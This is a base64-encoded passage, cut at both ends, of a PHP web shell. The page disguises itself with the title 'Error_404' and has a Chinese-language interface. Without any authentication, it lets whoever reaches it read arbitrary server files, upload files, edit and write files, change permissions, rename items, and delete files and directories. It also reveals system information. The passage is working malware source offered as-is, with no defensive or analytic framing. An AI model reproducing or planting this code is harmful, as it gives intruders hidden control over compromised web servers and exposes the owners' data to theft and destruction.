ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjP